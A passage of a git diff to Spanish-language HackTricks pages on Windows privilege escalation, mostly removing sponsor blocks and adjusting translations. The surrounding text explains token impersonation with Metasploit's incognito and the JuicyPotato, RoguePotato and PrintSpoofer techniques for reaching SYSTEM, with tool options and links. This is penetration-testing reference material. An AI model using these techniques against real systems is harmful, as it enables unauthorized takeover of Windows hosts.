remotos con los que el servidor interactúa, asegurando la preservación de credenciales. -#### Tokens de Suplantación +#### Suplantar Tokens Usando el módulo _**incognito**_ de metasploit, si tienes suficientes privilegios, puedes fácilmente **listar** y **suplantar** otros **tokens**. Esto podría ser útil para realizar **acciones como si fueras el otro usuario**. También podrías **escalar privilegios** con esta técnica. @@ -128,29 +115,18 @@ Echa un vistazo a [**todos los posibles privilegios de token y algunas definicio Aprende más sobre tokens en estos tutoriales: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) y [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} -Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoya a HackTricks +Support HackTricks -* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/windows-hardening/windows-local-privilege-escalation/integrity-levels.md b/windows-hardening/windows-local-privilege-escalation/integrity-levels.md index 81d89f20c..07360146e 100644 --- a/windows-hardening/windows-local-privilege-escalation/integrity-levels.md +++ b/windows-hardening/windows-local-privilege-escalation/integrity-levels.md @@ -1,37 +1,23 @@ # Niveles de Integridad {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +Apoya a HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** - ## Niveles de Integridad -En Windows Vista y versiones posteriores, todos los elementos protegidos vienen con una etiqueta de **nivel de integridad**. Esta configuración asigna principalmente un nivel de integridad "medio" a archivos y claves de registro, excepto por ciertas carpetas y archivos a los que Internet Explorer 7 puede escribir a un nivel de integridad bajo. El comportamiento predeterminado es que los procesos iniciados por usuarios estándar tengan un nivel de integridad medio, mientras que los servicios generalmente operan a un nivel de integridad del sistema. Una etiqueta de alta integridad protege el directorio raíz. +En Windows Vista y versiones posteriores, todos los elementos protegidos vienen con una etiqueta de **nivel de integridad**. Esta configuración asigna principalmente un nivel de integridad "medio" a archivos y claves de registro, excepto por ciertas carpetas y archivos a los que Internet Explorer 7 puede escribir a un nivel de integridad bajo. El comportamiento predeterminado es que los procesos iniciados por usuarios estándar tengan un nivel de integridad medio, mientras que los servicios operan típicamente a un nivel de integridad del sistema. Una etiqueta de alta integridad protege el directorio raíz. Una regla clave es que los objetos no pueden ser modificados por procesos con un nivel de integridad más bajo que el nivel del objeto. Los niveles de integridad son: @@ -115,30 +101,3 @@ Para los curiosos, si asignas un nivel de integridad alto a un binario (`icacls No todos los archivos y carpetas tienen un nivel de integridad mínimo, **pero todos los procesos se ejecutan bajo un nivel de integridad**. Y similar a lo que ocurrió con el sistema de archivos, **si un proceso quiere escribir dentro de otro proceso, debe tener al menos el mismo nivel de integridad**. Esto significa que un proceso con un nivel de integridad bajo no puede abrir un manejador con acceso total a un proceso con un nivel de integridad medio. Debido a las restricciones comentadas en esta y la sección anterior, desde un punto de vista de seguridad, siempre es **recomendado ejecutar un proceso en el nivel de integridad más bajo posible**. - -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal de WhiteIntel es combatir el robo de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -{% hint style="success" %} -Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) - -
- -Apoya a HackTricks - -* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los** [**repos de HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
-{% endhint %} diff --git a/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/windows-hardening/windows-local-privilege-escalation/juicypotato.md index 7c727c081..f387c0549 100644 --- a/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -15,20 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** - {% hint style="warning" %} **JuicyPotato no funciona** en Windows Server 2019 y Windows 10 build 1809 en adelante. Sin embargo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) se pueden usar para **aprovechar los mismos privilegios y obtener acceso a nivel `NT AUTHORITY\SYSTEM`**. _**Ver:**_ {% endhint %} @@ -47,7 +33,7 @@ _Una versión azucarada de_ [_RottenPotatoNG_](https://github.com/breenmachine/R [**Del Readme de juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** -[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) y sus [variantes](https://github.com/decoder-it/lonelypotato) aprovechan la cadena de escalada de privilegios basada en [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [servicio](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) teniendo el oyente MiTM en `127.0.0.1:6666` y cuando tienes privilegios `SeImpersonate` o `SeAssignPrimaryToken`. Durante una revisión de la construcción de Windows encontramos una configuración donde `BITS` estaba intencionalmente deshabilitado y el puerto `6666` estaba ocupado. +[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) y sus [variantes](https://github.com/decoder-it/lonelypotato) aprovechan la cadena de escalada de privilegios basada en [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [servicio](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) teniendo el oyente MiTM en `127.0.0.1:6666` y cuando tienes privilegios `SeImpersonate` o `SeAssignPrimaryToken`. Durante una revisión de la build de Windows encontramos una configuración donde `BITS` estaba intencionalmente deshabilitado y el puerto `6666` estaba ocupado. Decidimos armar [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Saluda a Juicy Potato**. @@ -68,13 +54,13 @@ JuicyPotato te permite: * **CLSID objetivo** _elige cualquier CLSID que desees._ [_Aquí_](http://ohpe.it/juicy-potato/CLSID/) _puedes encontrar la lista organizada por SO._ * **Puerto de escucha COM** _define el puerto de escucha COM que prefieras (en lugar del 6666 codificado en duro)_ * **Dirección IP de escucha COM** _vincula el servidor a cualquier IP_ -* **Modo de creación de procesos** _dependiendo de los privilegios del usuario suplantado, puedes elegir entre:_ +* **Modo de creación de procesos** _dependiendo de los privilegios del usuario suplantado puedes elegir entre:_ * `CreateProcessWithToken` (necesita `SeImpersonate`) * `CreateProcessAsUser` (necesita `SeAssignPrimaryToken`) * `ambos` -* **Proceso a lanzar** _lanzar un ejecutable o script si la explotación tiene éxito_ +* **Proceso a lanzar** _lanza un ejecutable o script si la explotación tiene éxito_ * **Argumento del proceso** _personaliza los argumentos del proceso lanzado_ -* **Dirección del servidor RPC** _para un enfoque sigiloso, puedes autenticarte en un servidor RPC externo_ +* **Dirección del servidor RPC** _para un enfoque sigiloso puedes autenticarte en un servidor RPC externo_ * **Puerto del servidor RPC** _útil si deseas autenticarte en un servidor externo y el firewall está bloqueando el puerto `135`…_ * **MODO DE PRUEBA** _principalmente para fines de prueba, es decir, probando CLSIDs. Crea el DCOM e imprime el usuario del token. Ver_ [_aquí para pruebas_](http://ohpe.it/juicy-potato/Test/) @@ -101,7 +87,7 @@ Optional args: Si el usuario tiene privilegios `SeImpersonate` o `SeAssignPrimaryToken`, entonces eres **SYSTEM**. -Es casi imposible prevenir el abuso de todos estos Servidores COM. Podrías pensar en modificar los permisos de estos objetos a través de `DCOMCNFG`, pero buena suerte, esto va a ser un desafío. +Es casi imposible prevenir el abuso de todos estos servidores COM. Podrías pensar en modificar los permisos de estos objetos a través de `DCOMCNFG`, pero buena suerte, esto va a ser un desafío. La solución real es proteger cuentas y aplicaciones sensibles que se ejecutan bajo las cuentas `* SERVICE`. Detener `DCOM` ciertamente inhibiría este exploit, pero podría tener un impacto serio en el sistema operativo subyacente. @@ -134,7 +120,7 @@ c:\Users\Public> ## Problemas de CLSID -A menudo, el CLSID predeterminado que utiliza JuicyPotato **no funciona** y el exploit falla. Por lo general, se necesitan múltiples intentos para encontrar un **CLSID funcional**. Para obtener una lista de CLSIDs para probar en un sistema operativo específico, debes visitar esta página: +A menudo, el CLSID predeterminado que utiliza JuicyPotato **no funciona** y el exploit falla. Por lo general, se requieren múltiples intentos para encontrar un **CLSID funcional**. Para obtener una lista de CLSIDs para probar en un sistema operativo específico, debes visitar esta página: {% embed url="https://ohpe.it/juicy-potato/CLSID/" %} @@ -152,17 +138,6 @@ Luego descarga [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/mast * [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index db9711896..acd4cb94a 100644 --- a/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -15,22 +15,8 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** - {% hint style="warning" %} -**JuicyPotato no funciona** en Windows Server 2019 y Windows 10 build 1809 en adelante. Sin embargo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** se pueden usar para **aprovechar los mismos privilegios y obtener acceso a nivel `NT AUTHORITY\SYSTEM`**. Esta [entrada de blog](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) profundiza en la herramienta `PrintSpoofer`, que se puede usar para abusar de los privilegios de suplantación en hosts de Windows 10 y Server 2019 donde JuicyPotato ya no funciona. +**JuicyPotato no funciona** en Windows Server 2019 y Windows 10 build 1809 en adelante. Sin embargo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** pueden ser utilizados para **aprovechar los mismos privilegios y obtener acceso a nivel `NT AUTHORITY\SYSTEM`**. Esta [entrada de blog](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) profundiza en la herramienta `PrintSpoofer`, que puede ser utilizada para abusar de los privilegios de suplantación en hosts de Windows 10 y Server 2019 donde JuicyPotato ya no funciona. {% endhint %} ## Quick Demo @@ -117,17 +103,6 @@ nt authority\system * [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato) * [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\